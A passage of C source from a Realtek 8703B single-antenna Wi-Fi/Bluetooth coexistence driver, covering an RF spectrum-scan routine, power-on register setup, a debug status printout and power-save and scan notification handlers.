//Set RF channel
if (centFreq == 2484)
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0x18, 0x3ff, 0xe);
else
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0x18, 0x3ff, (centFreq-2412)/5 + 1); //WiFi TRx Mask on
//Set RF mode = Rx, RF Gain = 0x8a0
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0x0, 0xfffff, 0x308a0);
//Set RF Rx filter corner
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0x1e, 0xfffff, 0x3e4);
//Set TRx mask off
//un-lock TRx Mask setup
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0xdd, 0x80, 0x1);
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0xdf, 0x1, 0x1);
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0x1, 0xfffff, 0x0);
flag = 3;
break;
case 3:
memset(pPsdScan->nPSDReport,0, pPsdScan->nPSDPoint*sizeof(u4Byte));
nStartP = pPsdScan->nPSDStartPoint + pPsdScan->nPSDStartBase;
nStopP = pPsdScan->nPSDStopPoint + pPsdScan->nPSDStartBase + 1;
i = nStartP;
while (i < nStopP)
{
if (i >= nPoints)
{
psd_report = halbtc8703b1ant_PSD_GetData(pBtCoexist,i-nPoints);
}
else
{
psd_report = halbtc8703b1ant_PSD_GetData(pBtCoexist,i);
}
if (psd_report == 0)
tmp = 0;
else
//tmp = 20*log10((double)psd_report);
//20*log2(x)/log2(10), log2Base return theresult of the psd_report*100
tmp = 6 * halbtc8703b1ant_PSD_Log2Base(pBtCoexist, psd_report);
n = i-pPsdScan->nPSDStartBase;
pPsdScan->nPSDReport[n] = tmp;
PsdRep1 = pPsdScan->nPSDReport[n] /100;
PsdRep2 = pPsdScan->nPSDReport[n] - PsdRep1 * 100;
freq = ((centFreq-20) * 1000000 + n * nDeltaFreqPerPoint);
freq1 = freq/1000000;
freq2 = freq/1000 - freq1 * 1000;
/*
if (freq2 < 100)
RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx SweepPSDPoint(), i = %d (%d.0%d MHz)", n, freq1, freq2));
else
RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx SweepPSDPoint(), i = %d (%d.%d MHz)", n, freq1, freq2));
if (PsdRep2 < 10)
RT_TRACE(COMP_COEX, DBG_LOUD, (", PSDReport = %d (%d.0%d dB)\n",psd_report, PsdRep1, PsdRep2));
else
RT_TRACE(COMP_COEX, DBG_LOUD, (", PSDReport = %d (%d.%d dB)\n",psd_report, PsdRep1,PsdRep2));
*/
i++;
k=0;
//Add Delay between PSD point
while(1)
{
if (k++ > 20000)
break;
}
//RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx SweepPSDPoint()==============\n"));
}
flag = 100;
break;
case 99: //error
outloop = TRUE;
break;
case 100: //recovery
//set 3-wire on
val = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x88c);
val &=0xffcfffff;
pBtCoexist->fBtcWrite4Byte(pBtCoexist,0x88c,val);
//CCK on
val = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x800);
val |= 0x01000000;
pBtCoexist->fBtcWrite4Byte(pBtCoexist,0x800,val);
//PSD off
val = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x808);
val &=0xffbfffff;
pBtCoexist->fBtcWrite4Byte(pBtCoexist,0x808,val);
//TRx Mask on
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0x1, 0xfffff, 0x780);
//lock TRx Mask setup
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0xdd, 0x80, 0x0);
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0xdf, 0x1, 0x0);
//Set RF Rx filter corner
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0x1e, 0xfffff, 0x0);
//restore WiFi original channel
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0x18, 0x3ff, WiFi_OriginalChannel);
outloop = TRUE;
break;
}
}while (!outloop);
pPsdScan->bIsPSDRunning = FALSE;
}
//============================================================
// work around function start with wa_halbtc8703b1ant_
//============================================================
//============================================================
// extern function start with EXhalbtc8703b1ant_
//============================================================
VOID
EXhalbtc8703b1ant_PowerOnSetting(
IN PBTC_COEXIST pBtCoexist
)
{
PBTC_BOARD_INFO pBoardInfo=&pBtCoexist->boardInfo;
u1Byte u1Tmp=0x0;
u2Byte u2Tmp=0x0;
RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx Execute 8703b 1-Ant PowerOn Setting xxxxxxxxxxxxxxxx!!\n"));
RT_TRACE(COMP_COEX, DBG_LOUD, ("Ant Det Finish = %s, Ant Det Number = %d\n",
(pBoardInfo->btdmAntDetFinish? "Yes":"No"), pBoardInfo->btdmAntNumByAntDet));
pBtCoexist->bStopCoexDm = TRUE;
// enable BB, REG_SYS_FUNC_EN such that we can write 0x948 correctly.
u2Tmp = pBtCoexist->fBtcRead2Byte(pBtCoexist, 0x2);
pBtCoexist->fBtcWrite2Byte(pBtCoexist, 0x2, u2Tmp|BIT0|BIT1);
//set Path control owner to WiFi
halbtc8703b1ant_LTECoex_PathControlOwner(pBtCoexist, WLSIDE_CONTROL);
// set GNT_BT to high
halbtc8703b1ant_LTECoex_Set_GNT_BT(pBtCoexist, RFC_AND_BB, CONTROL_BY_SW, SET_TO_HIGH);
//Set GNT_WL to low
halbtc8703b1ant_LTECoex_Set_GNT_WL(pBtCoexist, RFC_AND_BB, CONTROL_BY_SW, SET_TO_LOW);
// set WLAN_ACT = 0
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x76e, 0x4);
//
// S0 or S1 setting and Local register setting(By the setting fw can get ant number, S0/S1, ... info)
// Local setting bit define
// BIT0: "0" for no antenna inverse; "1" for antenna inverse
// BIT1: "0" for internal switch; "1" for external switch
// BIT2: "0" for one antenna; "1" for two antenna
// NOTE: here default all internal switch and 1-antenna ==> BIT1=0 and BIT2=0
u1Tmp = 0;
pBoardInfo->btdmAntPos = BTC_ANTENNA_AT_MAIN_PORT;
if(pBtCoexist->chipInterface == BTC_INTF_USB)
{
pBtCoexist->fBtcWriteLocalReg1Byte(pBtCoexist, 0xfe08, u1Tmp);
}
else if(pBtCoexist->chipInterface == BTC_INTF_SDIO)
{
pBtCoexist->fBtcWriteLocalReg1Byte(pBtCoexist, 0x60, u1Tmp);
}
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ********** LTE coex Reg 0x38 (Power-On) = 0x%x**********\n", halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0x38)));
#if 0
if(pBtCoexist->chipInterface == BTC_INTF_USB)
{
// fixed at S0 for USB interface
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x948, 0x0);
u1Tmp |= 0x1; // antenna inverse
pBtCoexist->fBtcWriteLocalReg1Byte(pBtCoexist, 0xfe08, u1Tmp);
pBoardInfo->btdmAntPos = BTC_ANTENNA_AT_AUX_PORT;
}
else
{
// for PCIE and SDIO interface, we check efuse 0xc3[6]
if(pBoardInfo->singleAntPath == 0)
{
// set to S1
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x948, 0x280);
pBoardInfo->btdmAntPos = BTC_ANTENNA_AT_MAIN_PORT;
}
else if(pBoardInfo->singleAntPath == 1)
{
// set to S0
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x948, 0x0);
u1Tmp |= 0x1; // antenna inverse
pBoardInfo->btdmAntPos = BTC_ANTENNA_AT_AUX_PORT;
}
if(pBtCoexist->chipInterface == BTC_INTF_PCI)
{
pBtCoexist->fBtcWriteLocalReg1Byte(pBtCoexist, 0x384, u1Tmp);
}
else if(pBtCoexist->chipInterface == BTC_INTF_SDIO)
{
pBtCoexist->fBtcWriteLocalReg1Byte(pBtCoexist, 0x60, u1Tmp);
}
}
#endif
}
VOID
EXhalbtc8703b1ant_PreLoadFirmware(
IN PBTC_COEXIST pBtCoexist
)
{
}
VOID
EXhalbtc8703b1ant_InitHwConfig(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bWifiOnly
)
{
halbtc8703b1ant_InitHwConfig(pBtCoexist, TRUE, bWifiOnly);
pBtCoexist->bStopCoexDm = FALSE;
}
VOID
EXhalbtc8703b1ant_InitCoexDm(
IN PBTC_COEXIST pBtCoexist
)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Coex Mechanism Init!!\n"));
pBtCoexist->bStopCoexDm = FALSE;
halbtc8703b1ant_InitCoexDm(pBtCoexist);
halbtc8703b1ant_QueryBtInfo(pBtCoexist);
}
VOID
EXhalbtc8703b1ant_DisplayCoexInfo(
IN PBTC_COEXIST pBtCoexist
)
{
PBTC_BOARD_INFO pBoardInfo=&pBtCoexist->boardInfo;
PBTC_STACK_INFO pStackInfo=&pBtCoexist->stackInfo;
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
pu1Byte cliBuf=pBtCoexist->cliBuf;
u1Byte u1Tmp[4], i, btInfoExt, psTdmaCase=0;
u2Byte u2Tmp[4];
u4Byte u4Tmp[4];
u4Byte faOfdm, faCck;
u4Byte fwVer=0, btPatchVer=0;
static u1Byte PopReportIn10s = 0;
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n ============[BT Coexist info]============");
CL_PRINTF(cliBuf);
if(pBtCoexist->bManualControl)
{
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n ============[Under Manual Control]============");
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n ==========================================");
CL_PRINTF(cliBuf);
}
if(pBtCoexist->bStopCoexDm)
{
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n ============[Coex is STOPPED]============");
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n ==========================================");
CL_PRINTF(cliBuf);
}
if (pPsdScan->bAntDet_TryCount == 0)
{
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d/ %d/ %d", "Ant PG Num/ Mech/ Pos",
pBoardInfo->pgAntNum, pBoardInfo->btdmAntNum, pBoardInfo->btdmAntPos);
CL_PRINTF(cliBuf);
}
else
{
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d/ %d/ %d (%d/%d/%d)", "Ant PG Num/ Mech(Ant_Det)/ Pos",
pBoardInfo->pgAntNum, pBoardInfo->btdmAntNumByAntDet, pBoardInfo->btdmAntPos,
pPsdScan->bAntDet_TryCount, pPsdScan->bAntDet_FailCount, pPsdScan->nAntDet_Result);
CL_PRINTF(cliBuf);
if (pBoardInfo->btdmAntDetFinish)
{
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %s", "Ant Det PSD Value", pPsdScan->nAntDet_PeakVal);
CL_PRINTF(cliBuf);
}
}
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %s / %d", "BT stack/ hci ext ver", \
((pStackInfo->bProfileNotified)? "Yes":"No"), pStackInfo->hciVersion);
CL_PRINTF(cliBuf);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U4_BT_PATCH_VER, &btPatchVer);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U4_WIFI_FW_VER, &fwVer);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d_%x/ 0x%x/ 0x%x(%d)", "CoexVer/ FwVer/ PatchVer", \
GLCoexVerDate8703b1Ant, GLCoexVer8703b1Ant, fwVer, btPatchVer, btPatchVer);
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %02x %02x %02x ", "Wifi channel informed to BT", \
pCoexDm->wifiChnlInfo[0], pCoexDm->wifiChnlInfo[1],
pCoexDm->wifiChnlInfo[2]);
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %s/ %s/ %s", "WifibHiPri/ Ccklock/ CckEverLock", \
(pCoexSta->bWiFiIsHighPriTask? "Yes":"No"),
(pCoexSta->bCCKLock? "Yes":"No"),
(pCoexSta->bCCKEverLock? "Yes":"No"));
CL_PRINTF(cliBuf);
// wifi status
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s", "============[Wifi Status]============");
CL_PRINTF(cliBuf);
pBtCoexist->fBtcDispDbgMsg(pBtCoexist, BTC_DBG_DISP_WIFI_STATUS);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s", "============[BT Status]============");
CL_PRINTF(cliBuf);
PopReportIn10s++;
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = [%s/ %d/ %d/ %d] ", "BT [status/ rssi/ retryCnt/ popCnt]", \
((pBtCoexist->btInfo.bBtDisabled)? ("disabled"): ((pCoexSta->bC2hBtInquiryPage)?("inquiry/page scan"):((BT_8703B_1ANT_BT_STATUS_NON_CONNECTED_IDLE == pCoexDm->btStatus)? "non-connected idle":
( (BT_8703B_1ANT_BT_STATUS_CONNECTED_IDLE == pCoexDm->btStatus)? "connected-idle":"busy")))),
pCoexSta->btRssi, pCoexSta->btRetryCnt, pCoexSta->popEventCnt);
CL_PRINTF(cliBuf);
if (PopReportIn10s >= 5)
{
pCoexSta->popEventCnt = 0;
PopReportIn10s = 0;
}
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d / %d / %d / %d / %d", "SCO/HID/PAN/A2DP/Hi-Pri", \
pBtLinkInfo->bScoExist, pBtLinkInfo->bHidExist, pBtLinkInfo->bPanExist, pBtLinkInfo->bA2dpExist, pBtLinkInfo->bBtHiPriLinkExist);
CL_PRINTF(cliBuf);
if (pStackInfo->bProfileNotified)
{
pBtCoexist->fBtcDispDbgMsg(pBtCoexist, BTC_DBG_DISP_BT_LINK_INFO);
}
else
{
btInfoExt = pCoexSta->btInfoExt;
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %s/ %s", "BT Role/A2DP rate", \
(pBtLinkInfo->bSlaveRole )? "Slave":"Master", (btInfoExt&BIT0)? "BR":"EDR");
CL_PRINTF(cliBuf);
}
for(i=0; i<BT_INFO_SRC_8703B_1ANT_MAX; i++)
{
if(pCoexSta->btInfoC2hCnt[i])
{
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %02x %02x %02x %02x %02x %02x %02x(%d)", GLBtInfoSrc8703b1Ant[i], \
pCoexSta->btInfoC2h[i][0], pCoexSta->btInfoC2h[i][1],
pCoexSta->btInfoC2h[i][2], pCoexSta->btInfoC2h[i][3],
pCoexSta->btInfoC2h[i][4], pCoexSta->btInfoC2h[i][5],
pCoexSta->btInfoC2h[i][6], pCoexSta->btInfoC2hCnt[i]);
CL_PRINTF(cliBuf);
}
}
if(pBtCoexist->bManualControl)
{
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s", "============[Sw mechanism] (before Manual)============");
}
else
{
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s", "============[Sw mechanism]============");
}
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d/ 0x%x", "SM[LowPenaltyRA]/RA Mask", \
pCoexDm->bCurLowPenaltyRa, pBtCoexist->btInfo.raMask);
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %s/ %s/ %d ", "NoAggr/ CtrlAggr/ AggrSize", \
(pBtCoexist->btInfo.bRejectAggPkt? "Yes":"No"), (pBtCoexist->btInfo.bBtCtrlAggBufSize? "Yes":"No"),
pBtCoexist->btInfo.aggBufSize);
CL_PRINTF(cliBuf);
// Fw mechanism
if(pBtCoexist->bManualControl)
{
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s", "============[Fw mechanism] (before Manual) ============");
}
else
{
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s", "============[Fw mechanism]============");
}
CL_PRINTF(cliBuf);
psTdmaCase = pCoexDm->curPsTdma;
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %02x %02x %02x %02x %02x case-%d (%s,%s)", "PS TDMA", \
pCoexDm->psTdmaPara[0], pCoexDm->psTdmaPara[1],
pCoexDm->psTdmaPara[2], pCoexDm->psTdmaPara[3],
pCoexDm->psTdmaPara[4], psTdmaCase,
(pCoexDm->bCurPsTdmaOn? "On":"Off"),
(pCoexDm->bAutoTdmaAdjust? "Adj":"Fix") );
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d", "WL/BT Coex Table Type", \
pCoexSta->nCoexTableType);
CL_PRINTF(cliBuf);
u4Tmp[0] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x6c0);
u4Tmp[1] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x6c4);
u4Tmp[2] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x6c8);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = 0x%x/ 0x%x/ 0x%x", "0x6c0/0x6c4/0x6c8(coexTable)", \
u4Tmp[0], u4Tmp[1], u4Tmp[2]);
CL_PRINTF(cliBuf);
u1Tmp[0] = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x778);
u4Tmp[0] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x6cc);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = 0x%x/ 0x%x/ 0x%x", "0x778/0x6cc/IgnWlanAct", \
u1Tmp[0], u4Tmp[0], pCoexDm->bCurIgnoreWlanAct);
CL_PRINTF(cliBuf);
u4Tmp[0] = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0xa0);
u4Tmp[1] = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0xa4);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = 0x%x/ 0x%x", "LTE Coex Table W_L/B_L", \
u4Tmp[0]&0xffff, u4Tmp[1]&0xffff);
CL_PRINTF(cliBuf);
u4Tmp[0] = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0xa8);
u4Tmp[1] = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0xac);
u4Tmp[2] = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0xb0);
u4Tmp[3] = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0xb4);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = 0x%x/ 0x%x/ 0x%x/ 0x%x", "LTE Break Table W_L/B_L/L_W/L_B", \
u4Tmp[0]&0xffff, u4Tmp[1]&0xffff, u4Tmp[2]&0xffff, u4Tmp[3]&0xffff);
CL_PRINTF(cliBuf);
// Hw setting
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s", "============[Hw setting]============");
CL_PRINTF(cliBuf);
u4Tmp[0] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x430);
u4Tmp[1] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x434);
u2Tmp[0] = pBtCoexist->fBtcRead2Byte(pBtCoexist, 0x42a);
u1Tmp[0] = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x456);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = 0x%x/0x%x/0x%x/0x%x", "0x430/0x434/0x42a/0x456", \
u4Tmp[0], u4Tmp[1], u2Tmp[0], u1Tmp[0]);
CL_PRINTF(cliBuf);
u4Tmp[0] = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0x38);
u1Tmp[0] = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x73);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d/ %s", "LTE CoexOn/Path Ctrl Owner", \
((u4Tmp[0]&BIT7)>> 7), ((u1Tmp[0]&BIT2)? "WL":"BT"));
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d/ %d/ %d/ %d", "LTE 3Wire/OPMode/UART/UARTMode", \
((u4Tmp[0]&BIT6)>> 6), ((u4Tmp[0]&(BIT5|BIT4))>> 4),((u4Tmp[0]&BIT3)>> 3), (u4Tmp[0]&(BIT2|BIT1|BIT0)));
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d/ %d/ %s", "GNT_WL_SWCtrl/GNT_BT_SWCtrl/Dbg", \
((u4Tmp[0]&BIT12)>> 12), ((u4Tmp[0]&BIT14)>> 14), ((u1Tmp[0]&BIT3)? "On":"Off"));
CL_PRINTF(cliBuf);
u4Tmp[0] = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0x54);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d/ %d/ %d/ %d", "GNT_WL/GNT_BT/LTE_Busy/UART_Busy", \
((u4Tmp[0]&BIT2)>> 2), ((u4Tmp[0]&BIT3)>> 3), ((u4Tmp[0]&BIT1)>> 1), (u4Tmp[0]&BIT0));
CL_PRINTF(cliBuf);
u1Tmp[0] = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x4c6);
u1Tmp[1] = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x40);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = 0x%x/ 0x%x", "0x4c6[4]/0x40[5] (WL/BT PTA)", \
((u1Tmp[0] & BIT4)>>4), ((u1Tmp[1] & BIT5)>>5));
CL_PRINTF(cliBuf);
u4Tmp[0] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x550);
u1Tmp[0] = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x522);
u1Tmp[1] = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x953);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = 0x%x/ 0x%x/ %s", "0x550(bcn ctrl)/0x522/4-RxAGC", \
u4Tmp[0], u1Tmp[0], (u1Tmp[1]&0x2)? "On": "Off");
CL_PRINTF(cliBuf);
u4Tmp[0] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0xda0);
u4Tmp[1] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0xda4);
u4Tmp[2] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0xda8);
u4Tmp[3] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0xcf0);
u1Tmp[0] = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0xa5b);
u1Tmp[1] = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0xa5c);
faOfdm = ((u4Tmp[0]&0xffff0000) >> 16) + ((u4Tmp[1]&0xffff0000) >> 16) + (u4Tmp[1] & 0xffff) + (u4Tmp[2] & 0xffff) + \
((u4Tmp[3]&0xffff0000) >> 16) + (u4Tmp[3] & 0xffff) ;
faCck = (u1Tmp[0] << 8) + u1Tmp[1];
u4Tmp[1] = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0xc50);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = 0x%x/ 0x%x/ 0x%x/ 0x%x", "0xc50/OFDM-CCA/OFDM-FA/CCK-FA", \
u4Tmp[1]&0xff, u4Tmp[0]&0xffff, faOfdm, faCck);
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d/ %d/ %d/ %d", "CRC_OK CCK/11g/11n/11n-Agg", \
pCoexSta->nCRCOK_CCK, pCoexSta->nCRCOK_11g, pCoexSta->nCRCOK_11n, pCoexSta->nCRCOK_11nAgg);
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d/ %d/ %d/ %d", "CRC_Err CCK/11g/11n/11n-Agg", \
pCoexSta->nCRCErr_CCK, pCoexSta->nCRCErr_11g, pCoexSta->nCRCErr_11n, pCoexSta->nCRCErr_11nAgg);
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d/ %d", "0x770(high-pri rx/tx)", \
pCoexSta->highPriorityRx, pCoexSta->highPriorityTx);
CL_PRINTF(cliBuf);
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n %-35s = %d/ %d", "0x774(low-pri rx/tx)", \
pCoexSta->lowPriorityRx, pCoexSta->lowPriorityTx);
CL_PRINTF(cliBuf);
#if(BT_AUTO_REPORT_ONLY_8703B_1ANT == 1)
//halbtc8703b1ant_MonitorBtCtr(pBtCoexist);
#endif
pBtCoexist->fBtcDispDbgMsg(pBtCoexist, BTC_DBG_DISP_COEX_STATISTICS);
}
VOID
EXhalbtc8703b1ant_IpsNotify(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte type
)
{
u4Byte u4Tmp=0;
if(pBtCoexist->bManualControl || pBtCoexist->bStopCoexDm)
return;
if(BTC_IPS_ENTER == type)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], IPS ENTER notify\n"));
pCoexSta->bUnderIps = TRUE;
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 0);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_BT, FORCE_EXEC, FALSE, TRUE);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 0);
}
else if(BTC_IPS_LEAVE == type)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], IPS LEAVE notify\n"));
halbtc8703b1ant_InitHwConfig(pBtCoexist, FALSE, FALSE);
halbtc8703b1ant_InitCoexDm(pBtCoexist);
halbtc8703b1ant_QueryBtInfo(pBtCoexist);
pCoexSta->bUnderIps = FALSE;
}
}
VOID
EXhalbtc8703b1ant_LpsNotify(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte type
)
{
if(pBtCoexist->bManualControl || pBtCoexist->bStopCoexDm)
return;
if(BTC_LPS_ENABLE == type)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], LPS ENABLE notify\n"));
pCoexSta->bUnderLps = TRUE;
}
else if(BTC_LPS_DISABLE == type)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], LPS DISABLE notify\n"));
pCoexSta->bUnderLps = FALSE;
}
}
VOID
EXhalbtc8703b1ant_ScanNotify(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte type
)
{
BOOLEAN bWifiConnected=FALSE, bBtHsOn=FALSE;
u4Byte wifiLinkStatus=0;
u4Byte numOfWifiLink=0;
BOOLEAN bBtCtrlAggBufSize=FALSE;
u1Byte aggBufSize=5;
u1Byte u1Tmpa, u1Tmpb;
u4Byte u4Tmp;
if(pBtCoexist->bManualControl ||
pBtCoexist->bStopCoexDm )
return;
if(BTC_SCAN_START == type)
{
pCoexSta->bWiFiIsHighPriTask = TRUE;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], SCAN START notify\n"));
halbtc8703b1ant_PsTdma(pBtCoexist, FORCE_EXEC, FALSE, 8); //Force antenna setup for no scan result issue
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, FORCE_EXEC, FALSE, FALSE);
}
else
{
pCoexSta->bWiFiIsHighPriTask = FALSE;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], SCAN FINISH notify\n"));
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U1_AP_NUM, &pCoexSta->nScanAPNum);
}
if(pBtCoexist->btInfo.bBtDisabled)
return;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_HS_OPERATION, &bBtHsOn);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_CONNECTED, &bWifiConnected);
halbtc8703b1ant_QueryBtInfo(pBtCoexist);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U4_WIFI_LINK_STATUS, &wifiLinkStatus);
numOfWifiLink = wifiLinkStatus>>16;
if(numOfWifiLink >= 2)
{
halbtc8703b1ant_LimitedTx(pBtCoexist, NORMAL_EXEC, 0, 0, 0, 0);
halbtc8703b1ant_LimitedRx(pBtCoexist, NORMAL_EXEC, FALSE, bBtCtrlAggBufSize, aggBufSize);
halbtc8703b1ant_ActionWifiMultiPort(pBtCoexist);
return;
}
if(pCoexSta->bC2hBtInquiryPage)
{
halbtc8703b1ant_ActionBtInquiry(pBtCoexist);
return;
}
else if(bBtHsOn)
{
halbtc8703b1ant_ActionHs(pBtCoexist);
return;
}
if(BTC_SCAN_START == type)
{
//RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], SCAN START notify\n"));
if(!bWifiConnected) // non-connected scan
{
halbtc8703b1ant_ActionWifiNotConnectedScan(pBtCoexist);
}
else // wifi is connected
{
halbtc8703b1ant_ActionWifiConnectedScan(pBtCoexist);
}
}
